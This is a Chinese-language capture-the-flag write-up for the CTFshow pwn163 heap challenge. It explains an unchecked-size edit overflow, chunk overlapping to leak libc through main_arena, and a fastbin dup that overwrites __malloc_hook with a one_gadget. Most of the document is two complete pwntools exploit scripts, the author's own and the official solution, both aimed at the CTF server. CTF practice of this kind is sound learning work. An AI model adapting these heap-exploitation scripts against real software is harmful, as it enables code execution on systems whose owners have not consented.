CTFshow pwn163(堆块重叠|fastbin )
前言
这两天在看IO_FILE 的相关利用,实在是给我看晕了。各种house of 确实有点东西。但是到最后发现自己的基础还是不够,除了fastbins 和 unsorted bins 稍微了解一点。其他的机制可以说是一坨。回来写点题,补一下基础。然后在结合这些基本的手法,去看高级的利用链。这个就是利用堆的布局,去达到我们的目的。或许也可以叫堆风水。
突然觉得堆风水这个名字起得太好了,主要可以自己构造布局,为我所控。真有一种盖周天之变,化吾为王 的感觉。
ida分析
edit函数

1.其他函数没有漏洞。只有edit,对size 没有检查,可以溢出。
2.在它的heaplist上会设置标志位检查这个堆块是否被free。
3.show的时候,会根据add时的size 进行打印内容。
4.add是采用calloc分配空间,初始化都为1。
5.free会把指针置空,size置0,标志置0。
6.并且,这是一道保护机制全开的题目。
思路分析
1.首先第一点是要泄露libc。由于保护机制全开,无法修改got表,同时程序的基地址无法获取。所以unlink的手段失效。显然是需要去修改hook。泄露libc的手段,是通过main_arena,也就是通过unsorted bins 中的堆块。由于add 会对堆块里的数据破坏,所以只能在堆块处于free 状态下打印。可是题目没有uaf 的漏洞,所以要让一个堆块又处于free 又处于 used 状态下。
2.如何构造呢?在这里提供两种思路。第一种思路:我们通过两个大小相同为size ,且地址连续的unsorted bin 的chunk来构造一个重叠。通过溢出,将第一个堆块的大小,修改为两个堆块的大小。然后free掉第一个堆块。此时libc会认为,第一个堆块的大小是2*size,所以实际上libc会把两个堆块的空间都放入unsorted bins中。此时再申清,size大小的堆块,就可以把第一个堆块申请出来,并且会把main_arena+0x58 写入到第二个堆块中去。此时只要show就可以拿到信息了;第二种思路,是通过fastbin ,把已经分配的空间再分配,来完成的。首先将小堆块free 放入fastbins,然后通过溢出修改其fd指针,指向目标unsorted bin 的chunk,通过两次add,把这块空间再分配,那么两个指针指向同一块空间了。之后free 大堆块,将其放入unsorted bin中,再show 小堆块,就可以拿到信息了。
3.拿到libc的信息之后,稍加计算得到malloc_hook 和 relloc的地址。然后就是fastbin dup 。在这里,本地打通之后,思路就是没问题的。但是远程会出现打不通的情况。原因是ibc版本不同所造成的偏移不一样。因此libcbase,one_gadget ,等地址可能会不一样。所以要打通远程得有正确的偏移。
exp
思路一
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from esy import * context.log_level='debug' context.terminal=['tmux','splitw','-h','-l','66%'] io,elf=loadfile("pwn","pwn.challenge.ctf.show",28248) libc=ELF("/home/tsq/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
def add(size): io.sendlineafter("Command: ",str(1)) io.sendlineafter("Size: ",str(size))
def edit(idx,size,content): io.sendlineafter("Command: ",str(2)) io.sendlineafter("Index: ",str(idx)) io.sendlineafter("Size: ",str(size)) io.sendafter("Content: ",content)
def free(idx): io.sendlineafter("Command: ",str(3)) io.sendlineafter("Index: ",str(idx))
def show(idx): io.sendlineafter("Command: ",str(4)) io.sendlineafter("Index: ",str(idx))
add(0x20) add(0x68) add(0x80) add(0x80) add(0x80) add(0x20)
edit(1,0x6a,b'\x41'*0x68+b'\x21\x01') free(2) add(0x80) show(3) io.recv(0x12)
libcbase=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78 logvalue("libcbase",hex(libcbase)) malloc_hook=libcbase+0x3c4b10 realloc=libcbase+0x846c0 logvalue("malloc_hook",hex(malloc_hook)) one_gadget=libcbase+0x4526a add(0x80) free(1)
edit(0,0x38,p64(0)*5+p64(0x71)+p64(malloc_hook-0x23)) add(0x68) add(0x68)
payload=b'\x00'*0xb+p64(one_gadget)+p64(realloc+8) edit(7,len(payload),payload) io.sendlineafter("Command: ",str(1)) io.sendlineafter("Size: ",str(0x68))
io.interactive()
|
思路二
懒得写了,直接那官方的题解了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import * context(arch='amd64',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28145) elf = ELF('./pwn') libc = ELF('/home/bit/libc/64bit/libc-2.23.so') def Alloc(size): io.recvuntil('Command:') io.sendline('1') io.recvuntil('Size:') io.sendline(str(size)) def Fill(index,content): io.recvuntil('Command:') io.sendline('2') io.recvuntil('Index:') io.sendline(str(index)) io.recvuntil('Size:') io.sendline(str(len(content))) io.recvuntil('Content:') io.send(content) def Free(index): io.recvuntil('Command:') io.sendline('3') io.recvuntil('Index:') io.sendline(str(index)) def Dump(index): io.recvuntil('Command:') io.sendline('4') io.recvuntil('Index:') io.sendline(str(index)) io.recvuntil('Content: \n') A = io.recvline() return A
Alloc(0x10) Alloc(0x10) Alloc(0x10) Alloc(0x10) Alloc(0x80) Free(1) Free(2) padding = p64(0)*3 + p64(0x21) payload = padding*2 + p8(0x80) Fill(0, payload) Fill(3, padding) Alloc(0x10) Alloc(0x10)
payload = p64(0)*3 + p64(0x91) Fill(3, payload) Alloc(0x80) Free(4) libc_base = u64(Dump(2)[:8].ljust(8, "\x00"))-0x3c4b78 print(hex(libc_base)) Alloc(0x60) Free(4) payload = p64(libc_base + 0x3c4aed) Fill(2, payload) Alloc(0x60) Alloc(0x60) one = libc_base + 0x4526a payload = p8(0)*3 + p64(0)*2 + p64(one) Fill(6, payload) Alloc(0x10)
io.interactive()
|